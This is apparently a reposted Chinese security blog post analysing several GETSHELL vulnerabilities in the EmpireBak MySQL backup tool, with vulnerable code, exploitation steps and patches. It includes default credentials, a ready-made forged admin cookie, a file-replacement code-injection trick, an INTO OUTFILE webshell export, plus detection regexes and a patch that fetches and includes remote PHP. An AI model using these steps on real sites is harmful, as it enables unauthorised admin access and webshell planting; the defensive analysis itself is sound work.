博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
帝国备份王(Empirebak) \class\functions.php、\class\combakfun.php GETSHELL vul
阅读量:6829 次
发布时间:2019-06-26

本文共 13229 字,大约阅读时间需要 44 分钟。

catalog

1. 漏洞描述2. 漏洞触发条件3. 漏洞影响范围4. 漏洞代码分析5. 防御方法6. 攻防思考

 

1. 漏洞描述

EmpireBak是一款完全免费、专门为Mysql大数据的备份与导入而设计的软件,系统采用分卷备份与导入,理论上可备份任何大小的数据库,帝国备份王(Empirebak)存在较多GETSHELL漏洞,本文逐一讨论从进入后台到GETSHELL的各种方式

Relevant Link:

http://help.aliyun.com/knowledge_detail.htm?knowledgeId=5980885&categoryId=8314968

2. 漏洞触发条件

0x1: 默认弱口令进入后台

admin123456//默认安装弱口令

0x2: 伪造cookie登录后台

ebak_loginebakckpass:119770adb578053dcb383f67a81bcbc6 ebak_bakrnd:35y5cCnnA4Kh ebak_bakusername:admin ebak_baklogintime:4070883661//使用以上cookie即可直接访问admin.php

使用firefox tamper data代理截包,访问下列网址

http://localhost/EmpireBak2010/admin.phphttp://localhost/EmpireBak2010/DoSql.php

在tamper data暂停的时候,修改cookie值,如果不存在就添加cookie这一项,可以直接免登进入指定后台页面

Cookie=ebak_loginebakckpass=119770adb578053dcb383f67a81bcbc6;ebak_bakrnd=35y5cCnnA4Kh;ebak_bakusername=admin;ebak_baklogintime=4070883661

0x3: 后台"管理备份目录"创建xx.asp目录进行IIS解析漏洞GETSHELL

在新版帝国备份cms中已经修复,并且这个漏洞需要目标服务器是IIS,才存在这个漏洞,在实际情况中,大多数是PHP+APACHE的架构

0x4: 备份数据、替换目录文件内容GETHSLL

1. 登陆后先备份一次数据 2. 备份时可选择备份到的目录,默认有个safemod  3. 备份完毕后来到"管理备份目录",打包并下载 //备份后的safemod目录下所有的表都是以PHP保存的4. 查看下载下来的备份文件的内容5. Empirebak"管理备份目录"下有个替换文件内容功能,选择和刚才下载的同一个目录,点击替换文件内容:http://www.xxx.com/diguo/RepFiletext.php?mypath=safemod 6. 例如替换config.php的内容 /*
*/将字符: $b_bakdatatype=0;替换为: $b_bakdatatype=0;phpinfo();7. http://xxx/diguo/bdata/safemod/config.php 显示phpinfo内容,GETSHELL成功

0x5: 执行自定义SQL导出GETSHELL

select '
'INTO OUTFILE 'c:/WEB ROOT PATH/xiaohan.php'

Relevant Link:

http://www.yunsec.net/a/security/web/jbst/2011/0603/8816.htmlhttp://www.2cto.com/Article/201005/47257.htmlhttp://www.wooyun.org/bugs/wooyun-2010-078591http://0day5.com/archives/2771http://www.wooyun.org/bugs/wooyun-2010-078591http://www.sqlmap.cc/post-37.html

3. 漏洞影响范围
4. 漏洞代码分析

0x1: 伪造cookie登录后台

\admin.php

\class\functions.php

//是否登陆function islogin($uname='',$urnd=''){    //die(var_dump($_COOKIE));    $_COOKIE['ebak_loginebakckpass'] = "119770adb578053dcb383f67a81bcbc6";             $_COOKIE['ebak_baklogintime'] = "4070883661";    /*    来自配置文件/class/config.php,漏洞的根源在于帝国CMS采用了默认值    $set_username="admin";    $set_outtime="60";    */    global $set_username, $set_outtime;    //从$_COOKIE全局数组中获取bakusername,黑客注入的是: $_COOKIE['ebak_bakusername'] = "admin";    $username = $uname ? $uname : getcvar('bakusername');    //从$_COOKIE全局数组中获取bakrnd,黑客注入的是: $_COOKIE['ebak_bakrnd'] = "35y5cCnnA4Kh";    $rnd = $urnd ? $urnd : getcvar('bakrnd');         //正常通过    if(empty($username) || empty($rnd))    {        printerror("NotLogin","index.php");    }    //黑客的目标是免登admin,这里一定相等    if($username <> $set_username)    {        printerror("NotLogin","index.php");    }    /*    验证cookie中的值    $username = admin    $rnd = 35y5cCnnA4Kh    */    Ebak_CHCookieRnd($username, $rnd);     $time=time();    if($time-getcvar('baklogintime')>$set_outtime*60)    {        printerror("OutLogintime","index.php");    }    esetcookie("baklogintime",$time,0);    $lr['username']=$username;    $lr['rnd']=$rnd;    return $lr;}

\class\functions.php

//验证COOKIE认证function Ebak_CHCookieRnd($username,$rnd){    /*    $set_loginrnd为config.php里面的验证随机码,漏洞的根源在于这是一个默认值: $set_loginrnd="YFfd33mV2MrKwDenkecYWZETWgUwMV";    */    global $set_loginrnd;     //在默认值情况下,计算的结果永远是: $ckpass = 119770adb578053dcb383f67a81bcbc6    $ckpass = md5(md5($rnd . $set_loginrnd).'-'.$rnd.'-'.$username.'-');     //比较通过,判定为已登录,漏洞产生    if($ckpass<>getcvar('loginebakckpass'))    {        printerror("NotLogin","index.php");    }}

0x2: 备份数据、替换目录文件内容GETHSLL

\phome.php

elseif($phome=="RepPathFiletext")//脤忙禄禄脛驴脗录脦脛录镁{     Ebak_RepPathFiletext($_POST);}

\class\combakfun.php

//替换文件内容function Ebak_RepPathFiletext($add){    global $bakpath;    //替换目标文件的路径    $mypath=trim($add['mypath']);    //被替换的内容    $oldword = Ebak_ClearAddsData($add['oldword']);    //用于替换的新内容    $newword = Ebak_ClearAddsData($add['newword']);    $dozz=(int)$add['dozz'];    if(empty($oldword)||empty($mypath))    {        printerror("EmptyRepPathFiletext","history.go(-1)");    }    if(strstr($mypath,".."))    {        printerror("NotChangeRepPathFiletext","history.go(-1)");    }    $path=$bakpath."/".$mypath;    if(!file_exists($path))    {        printerror("PathNotExists","history.go(-1)");    }    $hand=@opendir($path);    //遍历目标目录的所有文件,逐一进行文本替换    while($file=@readdir($hand))    {        $filename=$path."/".$file;          if($file!="."&&$file!=".."&&is_file($filename))        {            $value=ReadFiletext($filename);            if($dozz)            {                    //执行文本替换                $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value);            }            else            {                if(!stristr($value,$oldword))                {                    continue;                }                $newvalue=str_replace($oldword,$newword,$value);            }            WriteFiletext_n($filename,$newvalue);        }    }    printerror("RepPathFiletextSuccess","RepFiletext.php");}

\class\functions.php

//正则替换信息function Ebak_DoRepFiletextZz($oldword,$newword,$text){    $zztext=Ebak_RepInfoZZ($oldword,"empire-bak-wm.chief-phome",0);    //无任何过滤,直接替换    $text=preg_replace($zztext,$newword,$text);    return $text;}

0x3: 执行自定义SQL导出GETSHELL

\phome.php

elseif($phome=="DoExecSql") {    Ebak_DoExecSql($_POST);}elseif($phome=="DoTranExecSql") {    $file=$_FILES['file']['tmp_name'];    $file_name=$_FILES['file']['name'];    $file_type=$_FILES['file']['type'];    $file_size=$_FILES['file']['size'];    Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$_POST);}

\class\combakfun.php

//执行SQL语句function Ebak_DoExecSql($add){    global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;    $query = $add['query'];    if(!$query)    {        printerror("EmptyRunSql","history.go(-1)");    }    //数据库    if($add['mydbname'])    {        $empire->query("use `".$add['mydbname']."`");    }    //编码    if($add['mydbchar'])    {        DoSetDbChar($add['mydbchar']);    }    $query = Ebak_ClearAddsData($query);    //调用Ebak_DoRunQuery执行最终的SQL语句    Ebak_DoRunQuery($query, $add['mydbchar'], $phome_db_ver);    printerror("RunSqlSuccess","DoSql.php");}//上传执行SQLfunction Ebak_DoTranExecSql($file,$file_name,$file_type,$file_size,$add){    global $empire,$phome_db_dbname,$phome_db_ver,$phome_db_char;    if(!$file_name||!$file_size)    {        printerror("NotChangeSQLFile","history.go(-1)");    }    $filetype=GetFiletype($file_name);//取得扩展名    if($filetype!=".sql")    {        printerror("NotTranSQLFile","history.go(-1)");    }    //上传文件    $newfile='tmp/uploadsql'.time().'.sql';    $cp=Ebak_DoTranFile($file,$newfile);    if(empty($cp))    {        printerror("TranSQLFileFail","history.go(-1)");    }    $query=ReadFiletext($newfile);    DelFiletext($newfile);    if(!$query)    {        printerror("EmptyRunSql","history.go(-1)");    }    //数据库    if($add['mydbname'])    {        $empire->query("use `".$add['mydbname']."`");    }    //编码    if($add['mydbchar'])    {        DoSetDbChar($add['mydbchar']);    }    //调用Ebak_DoRunQuery执行最终的SQL语句    Ebak_DoRunQuery($query,$add['mydbchar'],$phome_db_ver);    printerror("RunSqlSuccess","DoSql.php");}

\class\functions.php

//运行SQLfunction Ebak_DoRunQuery($sql,$mydbchar,$mydbver){    $sql=str_replace("\r","\n",$sql);    $ret=array();    $num=0;    //执行多语句拆分    foreach(explode(";\n",trim($sql)) as $query)    {        $queries=explode("\n",trim($query));        foreach($queries as $query)        {            $ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;        }        $num++;    }    unset($sql);    foreach($ret as $query)    {        $query=trim($query);        if($query)        {            if(substr($query,0,12)=='CREATE TABLE')            {                mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."
".$query); } else { mysql_query($query) or die(mysql_error()."
".$query); } } }}

5. 防御方法

0x1: 伪造cookie登录后台

从最佳安全实践的角度来说,基于cookie的免登验证应该使用session机制来进行

\class\functions.php

//设置COOKIE认证function Ebak_SCookieRnd($username,$rnd){    //基于SESSION进行免登验证    session_start();    global $set_loginrnd;      //在cookie中加入随机因子    $ckpass = md5(md5($rnd.$set_loginrnd).'-'.$rnd.'-'.$username.'-'.mt_rand() );     //SESSION记录    $_SESSION['ckpass'] = $ckpass;    esetcookie("loginebakckpass",$ckpass,0);}//验证COOKIE认证function Ebak_CHCookieRnd($username,$rnd){    //基于SESSION进行免登验证    session_start();     global $set_loginrnd;      //获取SESSION内容    $ckpass = $_SESSION['ckpass'];     if($ckpass<>getcvar('loginebakckpass'))    {        printerror("NotLogin","index.php");    }}

0x2: 备份数据、替换目录文件内容GETHSLL

\class\combakfun.php

//替换文件内容function Ebak_RepPathFiletext($add){    global $bakpath;    //替换目标文件的路径    $mypath=trim($add['mypath']);    //被替换的内容    $oldword = Ebak_ClearAddsData($add['oldword']);    //用于替换的新内容    $newword = Ebak_ClearAddsData($add['newword']);      /**/    if( preg_match("/([^a-zA-Z0-9_]{1,1})+(extract|parse_str|str_replace|unserialize|ob_start|require|include|array_map|preg_replace|copy|fputs|fopen|file_put_contents|file_get_contents|fwrite|eval|phpinfo|assert|base64_decode|create_function|call_user_func)+( |\()/is", $newword) )    {        die("Request Error!");      }    /**/    $dozz=(int)$add['dozz'];    if(empty($oldword)||empty($mypath))    {        printerror("EmptyRepPathFiletext","history.go(-1)");    }    if(strstr($mypath,".."))    {        printerror("NotChangeRepPathFiletext","history.go(-1)");    }    $path=$bakpath."/".$mypath;    if(!file_exists($path))    {        printerror("PathNotExists","history.go(-1)");    }    $hand=@opendir($path);    //遍历目标目录的所有文件,逐一进行文本替换     while($file=@readdir($hand))    {         $filename=$path."/".$file;           if($file!="."&&$file!=".."&&is_file($filename))        {             $value=ReadFiletext($filename);            if($dozz)            {                    //执行文本替换                $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value);            }            else            {                //待搜索的目标字符串没有出现,跳过当前文件                if(!stristr($value,$oldword))                {                     continue;                }                $newvalue=str_replace($oldword,$newword,$value);             }            /* inject check */             $prePath = dirname(__FILE__) . DIRECTORY_SEPARATOR;              $url = "http://webshellcheck.oss-cn-hangzhou.aliyuncs.com/AliCheck.php";            if (file_exists($prePath . "AliCheck.php"))             {                //check whether is latest                 if (ini_get('allow_url_fopen') == '1')                 {                     $content = @file_get_contents($url);                    if (!empty($content))                     {                        if ( md5($content) != md5_file($prePath . "AliCheck.php") )                         {                             die("not equal");                            file_put_contents($prePath . "AliCheck.php", $content);                         }                     }                  }                 include_once $prePath . "AliCheck.php";                $scaner = new Pecker_Scanner();                $scaner->scanFileContent($filename,$newvalue);                $result = $scaner->getReport();                  if (!empty($result[$filename]['function']))                 {                      die("Request Error!");                 }                 $scaner = null;             }             else            {                //file not exist, need download                if (ini_get('allow_url_fopen') == '1')                 {                      //check url is valid                     $content = @file_get_contents($url);                    if (!empty($content))                     {                        file_put_contents($prePath . "AliCheck.php", $content);                     }                 }              }            /**/            WriteFiletext_n($filename,$newvalue);        }     }        printerror("RepPathFiletextSuccess","RepFiletext.php");}

0x3: 执行自定义SQL导出GETSHELL

\class\functions.php

//运行SQLfunction Ebak_DoRunQuery($sql,$mydbchar,$mydbver){    $sql=str_replace("\r","\n",$sql);    $ret=array();    $num=0;    //执行多语句拆分    foreach(explode(";\n",trim($sql)) as $query)    {        $queries=explode("\n",trim($query));        foreach($queries as $query)        {            $ret[$num].=$query[0]=='#'||$query[0].$query[1]=='--'?'':$query;        }        $num++;    }    unset($sql);    foreach($ret as $query)    {        $query=trim($query);        if($query)        {            /* SQL注入过滤 */            if(preg_match("/select.*into.*(outfile|dumpfile)/sim", $query, $matches))            {                echo "request error!" . "
" . $matches[0]; die(); } /* */ if(substr($query,0,12)=='CREATE TABLE') { mysql_query(Ebak_DoCreateTable($query,$mydbver,$mydbchar)) or die(mysql_error()."
".$query); } else { mysql_query($query) or die(mysql_error()."
".$query); } } }}

0x4: 关闭备份功能

一个最简单粗暴的方法就是直接关闭帝国备份

/phome.php

..elseif($phome=="RepPathFiletext"){     //Ebak_RepPathFiletext($_POST);    die("request error!");}..

6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

转载地址:http://ovjkl.baihongyu.com/

你可能感兴趣的文章
改变世界前,先改变自己
查看>>
《React Native 精解与实战》书籍连载「Node.js 简介与 React Native 开发环境配置」...
查看>>
Java_异常_01_org.apache.commons.lang.exception.NestableRuntimeException
查看>>
1-AIV--使用ContentProvider获取短信
查看>>
前端优化系列 - 前端优化的思考
查看>>
火爆GitHub:100天搞定机器学习编程(超赞信息图+代码+数据集)
查看>>
TongDXP
查看>>
Python进阶-算法-插入排序
查看>>
C# 如何添加水印到PPT
查看>>
北京朝阳区第二批重点产业发展引导资金项目即将开始征集
查看>>
微信小程序开发系列五:微信小程序中如何响应用户输入事件
查看>>
My favorite examples of functional programming in Kotlin
查看>>
架构文摘:消息队列设计精要
查看>>
2018最全的iOS面试题及答案
查看>>
问题账户需求分析
查看>>
创新平台年报统计系统——利益相关者描述案例
查看>>
匹配特定数字串
查看>>
我的垂直居中
查看>>
数值分析Matlab绘制三维数据曲面图
查看>>
将Angular6自己定义的模块发布成npm包
查看>>